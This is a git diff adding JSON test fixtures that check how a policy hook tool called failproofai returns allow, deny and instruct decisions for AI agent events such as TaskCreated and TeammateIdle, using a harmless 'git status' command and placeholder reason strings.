b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..421b2671 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4e209400 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..fb0a3f83 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b7ea7ced --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1e8074fb --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d37ab54a --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..32a682ac --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ea668043 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1fffe492 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..39802e2a --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bb0f1571 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a16df86c --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c3905558 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e4b5c2f2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8fa047bf --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..80658dfc --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1e013c3f --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f9f00e2e --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..48bea927 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + 